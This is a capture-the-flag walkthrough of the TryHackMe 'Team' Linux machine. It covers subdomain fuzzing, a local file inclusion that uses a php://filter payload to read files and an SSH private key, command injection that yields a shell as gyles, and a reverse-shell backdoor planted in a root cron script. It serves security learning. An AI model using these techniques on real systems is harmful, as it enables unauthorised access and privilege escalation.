Post

TryHackMe | Team

Writeup of a easy-rated Linux Machine from TryHackMe


Team is a vulnerable machine from TryHackMe, in which there is a virtual host with an LFI vulnerability that, once exploited, allows access to a private SSH key, providing initial access to the machine. Once in, there is a poorly written bash script that has a command injection vulnerability which can be exploited to execute any command with 'Gyles' privileges. Finally, there is a cronjob that runs every minute with root privileges, which can be exploited to plant a backdoor and escalate privileges to root.

Enumeration


Scanning

Let’s start the enumeration process by scanning the target machine with Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ nmap -sC -sV -A -T4 -p- 10.10.215.5
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-20 17:44 EDT
Nmap scan report for 10.10.215.5
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 795f116a85c20824306cd488741b794d (RSA)
|   256 af7e3f7eb4865883f1f6a254a69bbaad (ECDSA)
|_  256 2625b07bdc3fb29437125dcd0698c79f (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
|_http-server-header: Apache/2.4.29 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.4 (94%), Linux 3.10 - 3.13 (92%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux 2.6.32 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   158.20 ms 10.8.0.1
2   149.85 ms 10.10.215.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.57 seconds

The target machine has 3 open ports:

  • An FTP server vsftpd 3.0.3 running on port 21 (Anonymous login is disabled)
  • An SSH server OpenSSH 7.6p1 running on port 22
  • An HTTP server Apache httpd 2.4.29 running on port 80

Service Enumeration

Enumerating team.thm

First things first, let’s assign a domain name, such as team.thm to the target machine IP and add it to /etc/hosts, in order to simplify the enumeration process.

1
$ echo '10.10.215.5 team.thm' >> /etc/hosts

Navigating to http://team.thm, you will be presented with the following page:

http://team.thm

📍 Directory Fuzzing:
Let’s start the enumeration process by fuzzing directories using gobuster:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ gobuster dir -u http://team.thm -w /usr/share/wordlists/dirb/common.txt -t 64 --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://team.thm
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/04/20 18:33:12 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 273]
/.htaccess            (Status: 403) [Size: 273]
/.htpasswd            (Status: 403) [Size: 273]
/assets               (Status: 301) [Size: 305] [--> http://team.thm/assets/]
/images               (Status: 301) [Size: 305] [--> http://team.thm/images/]
/index.html           (Status: 200) [Size: 2966]
/robots.txt           (Status: 200) [Size: 5]
/scripts              (Status: 301) [Size: 306] [--> http://team.thm/scripts/]
Progress: 4614 / 4615 (99.98%)
===============================================================
2023/04/20 18:34:37 Finished
===============================================================

As you can see, Gobuster found some interesting directories:

  • /robots.txt: contains the word dale which may be a username.
http://team.thm/robots.txt
  • /scripts: This directory looks promissing but unfortunately we cannot access it:
http://team.thm/scripts

📍 Subdomain Fuzzing:

Let’s use ffuf this time, which is a great tool when it comes to subdomain fuzzing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ffuf -u http://team.thm -H "Host: FUZZ.team.thm" -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -c

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://team.thm
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.team.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 200, Size: 11366, Words: 3512, Lines: 374, Duration: 128ms]
    * FUZZ: mobile

[Status: 200, Size: 11366, Words: 3512, Lines: 374, Duration: 140ms]
    * FUZZ: mysql

[Status: 200, Size: 11366, Words: 3512, Lines: 374, Duration: 152ms]
    * FUZZ: beta

[Status: 200, Size: 11366, Words: 3512, Lines: 374, Duration: 161ms]
    * FUZZ: admin
  • This will print out a large number of subdomains with the same size (Content-Length) 11366

Let’s execute ffuf one more time while filtering for responses that has a Content-Length value different than 11366 and with Status-Code 200

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -u http://team.thm -H "Host: FUZZ.team.thm" -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -c -fs 11366 -mc 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://team.thm
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.team.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response size: 11366
________________________________________________

[Status: 200, Size: 187, Words: 20, Lines: 10, Duration: 684ms]
    * FUZZ: dev

Enumerating dev.team.thm:

Let’s add dev.team.thm to /etc/hosts file using the following command:

1
$ echo '10.10.215.5 dev.team.thm' >> /etc/hosts

Navigate to http://dev.team.thm:

http://dev.team.thm

By clicking on Place holder link to team share you will be presented with the following page

http://dev.team.thm/script.php?page=teamshare.php

The URL contains a parameter named page that is passed to the script.php file. If the input to this parameter is not properly validated, it could be susceptible to injection attacks, such as LFI, SQL injection, XSS, etc.

Initial Access


Exploiting Local File Inclusion

Including /etc/passwd

Let’s try to include /etc/passwd file:

/etc/passwd
  • Based on the fact that entering the full path to a file is sufficient for it to be included by the script, I assume that the contents of script.php might resemble to something like this.
1
2
3
4
<?php
$file = $_GET['file'];
include($file);
?>

Including script.php

We can retrieve the content of script.php by injecting the page parameter with the following:

1
php://filter/convert.base64-encode/resource=script.php

php://filter/convert.base64-encode/resource=script.php
  • This payload will access the contents of script.php file and encode it in base64 format using the convert.base64-encode filter
  • Let’s base64 decode the response to get the content of script.php:
1
$ echo -n 'Cjw/cGhwICAgCiRmaWxlID0gJF9HRVRbJ3BhZ2UnXTsKICAgaWYoaXNzZXQoJGZpbGUpKQogICB7CiAgICAgICBpbmNsdWRlKCIkZmlsZSIpOwogICB9CiAgIGVsc2UKICAgewogICAgICAgaW5jbHVkZSgidGVhbXNoYXJlLnBocCIpOwogICB9Cj8+Cg==' | base64 --decode
1
2
3
4
5
6
7
8
9
10
11
12
//script.php
<?php   
$file = $_GET['page'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("teamshare.php");
   }
?>

Automating LFI

To simplify the process, I have written a Python script that automates the exploitation of this LFI vulnerability.
🎯 Execution:

Fuzzing for sensitive files

I have compiled a wordlist comprising pertinent files in Linux OS that are commonly used to store sensitive information. We can use this wordlist with Burp’s Intruder to potentially retrieve some sensitive information that can be leveraged to facilitate our exploitation.

Burpsuite (Intruder)
  • As you can see, we found Dale ssh private key 'id_rsa', which can be used to establish an SSH connection as Dale. To do so, we must first save the private key in a file, set the file permissions to read-write only using the command chmod 600 <filename>, and finally establish the ssh connection as Dale:
1
2
3
4
5
6
7
8
9
10
11
$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAng6KMTH3zm+6rqeQzn5HLBjgruB9k2rX/XdzCr6jvdFLJ+uH4ZVE
NUkbi5WUOdR4ock4dFjk03X1bDshaisAFRJJkgUq1+zNJ+p96ZIEKtm93aYy3+YggliN/W
oG+RPqP8P6/uflU0ftxkHE54H1Ll03HbN+0H4JM/InXvuz4U9Df09m99JYi6DVw5XGsaWK
... [snip] ...
-----END OPENSSH PRIVATE KEY-----

$ chmod 600 id_rsa
$ ssh -i id_rsa dale@team.thm

Shell as Dale


Enumeration

🚩 user.txt:

user flag

📍 Manual Enumeration:

Dale can run /home/gyles/admin_checks as gyles:

sudo -l

Content of /home/gyles/admin_checks file:

/home/gyles/admin_checks
  • Overall, /home/gyles/admin_checks is a simple backup script that allows the user to enter their name and creates a backup file with a timestamp in the filename.

This bash script is vulnerable to Command Injection, because it does not validate or sanitize the $error variable. As a result, any command or code inputted into the $error variable by the user would be executed by the script without any checks.

Shell as Gyles


Exploiting Command Injection

First of all, let’s try executing the id command, by injecting id into the $error variable:

id

So far so good, now to get a shell as gyles we can inject /bin/bash:

/bin/bash

Shell stabilization: python3 -c 'import pty;pty.spawn("/bin/bash")':

shell stabilization

Shell as root


Enumeration

Cronjobs

Let’s start a python webserver hosting pspy and upload it to TEAM:

uploading pspy

Let’s make it executable and run it:

1
2
$ chmod +x pspy32
$ ./pspy32

The script /opt/admin_stuff/script.sh is executed every minute with root privileges (UID=0)

pspy32 output

/opt/admin_stuff/script.sh

/opt/admin_stuff/script.sh
  • This script is executing 2 other scripts /usr/local/sbin/dev_backup.sh and /usr/local/bin/main_backup.sh, which backs up the main and the dev site.
/usr/local/bin/main_backup.sh
  • Our user gyles has write permissions on one of those 2 scripts ‘/usr/local/bin/main_backup.sh’, which means we can plant a backdoor to get a shell as root:
Planting a reverse shell payload

🚩 root.txt:

root flag
This post is licensed under CC BY 4.0 by the author.